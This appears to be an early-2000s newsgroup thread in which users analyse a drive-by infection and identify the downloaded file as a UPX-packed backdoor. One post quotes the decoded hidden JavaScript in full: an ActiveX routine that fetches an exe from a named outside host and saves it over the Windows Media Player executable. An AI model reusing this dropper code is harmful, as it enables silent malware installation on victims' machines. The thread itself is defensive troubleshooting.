It is not a virus but a javascript and I don't use the crystalball
method anymore.

> I know I was infected with something but can't figure out what it is
yet.

How you determined this.

Tell us the URL and maybe something will come out.

Ok looks like the hidden javascript translates to this:

file://javascript:eval('var x = new
ActiveXObject("Microsoft.XMLHTTP");\r\nx.Open("GET","http:%2f%2fwww.lhconlin
e.net%2fjs%wfmmc.exe",0);\r\nx.Send();\r\nvar s = new ActiveXObject("AD
ODB.Stream");\r\ns.Mode = 3;\r\ns.Type =
1;\r\ns.Open();\r\ns.Write(x.responseBody);\r\ns.SaveToFile("C:\\\\Program
Files\\\\Windows Media Player\\\\wmplayer.exe",2);\r\nlocation.href =
"mms:%2f%2f";\r\n')

So, the virus is actually downloaded from:
http://www.lhconline.net/js/mmc.exe

Can someone help me analyze that exe file to find out what virus it is and
how I can clean it up?

If it took your ZA and Norton went down have you sent this on to them?
ZA dropping does not surprise me. This makes me think of a new Trojan
making the rounds. It over rides the victims DNS settings and hijacks their
browser. It forces the browser (IE only) to whatever web page the attacker
wishes. This could be a nasty little surprise waiting on the other end.

Ok the AMQ trojan will obviously use the net to notify the author and do
other sorts of nasty stuff, so I don't want that happening. However, I also
need to go online in order to download the latest anti-virus definitions.
How shall I proceed here? I am using Norton Antivirus.

Thanks

Generally, scanning the file using several up to date antivirus programs
and/or then submitting the file to one or more antivirus vendors using the
instructions on their web pages is the best way to do such things. Assuming
antivirus does not detect it, non-antivirus researchers would be more likely
to be able to determine only what the program does [and probably not
everything that it does] rather than what it is.

It is a trojan from november 2002 do you think your Definitions are that
old? And if so just update them nothing will go wrong.

Well all that hex shit at the is shellcode (?) so my initial thoughts would
be some kinda buffer overflow to executethe shellcode, but having said this
its a script, so it could just be hidden code that gets decoded and
executed. like you can do in irc. :P But anyway, I dont know JS so i wouldnt
be the best person to ask, you could try Doc Jeff or someone in a html/JS
group (if no one else here knows)

FIREWALL!

Get a firewall in place to prevent incoming unsolicited packets, and
interdict outgoing packets that you don't authorize.

XP's firewall isn't sufficient--you need a third-party: Kerio, Zone Labs,
Tiny.

And, of course, maintain current antivirus protection?

You're wrong. Norton has got lots of problems detecting runtime packed
malware, especially backdoors.

This one is:
Backdoor.Beastdoor.202, upx-runtime packed!

*Although* you've got the newest signature updates, Norton will have
problems to detect such malware (backdoor, *runtime-packed*).

Try a better anti virus using KAV-engine.

I went to this page using Firebird, and was prompted to decide what to do
with mmc.exe.

If you'd simply had Install On Demand in Internet Explorer turned off, this
wouldn't have happened to you.

Use this little scare to get serious about the security of your computer,
and learn something about it. Obviously, you thought that simply having
Zone Alarm and Norton was enough. It isn't.

Unfortunately, a scare is what it takes for many of us, myself included.

Yep, I've had this same trojan blocked several times trying to connect
through port 666.

I thought shellcode too, but I looked inside and it's got SMTP commands
to a mail server, you know "HELO MAIL FROM:" type stuff.

And no, the newest version of f-prot didn't detect anything, but that
doesn't mean too much, I've seen it find backdoors and I've seen it not.
If that's what this is....

The script is refering to the following:
http://www.lhconline.net/js/mmc.exe
mmc.exe is in fact: Backdoor AMQ see:

I just wondered my f-prot didn't pick this one up. It has found lots of
backdoors before, so I know it can. This is the new version, I just
DL'ed it a few days ago.

What makes you so sure it's this one? It didn't say anything about any
mail SMTP commands, yet you can see them in the file, I have a copy
here. There are alot of backdoors.

I went to the link mentioned in my previous post and McAfee VS 6 pro
told me it was Backdoor AMQ.
So either your AVP sucks or mine is better or mine is wrong. Take your
pick.

yeah i mean the shellcode is the code to fetch the mmc.exe and run it, or
whatever :P

Here are some strings from the unpacked UPX which may indicate what
it is/does. The "..."s are where I've snipped chunks. The word
"Beasty" is in there.
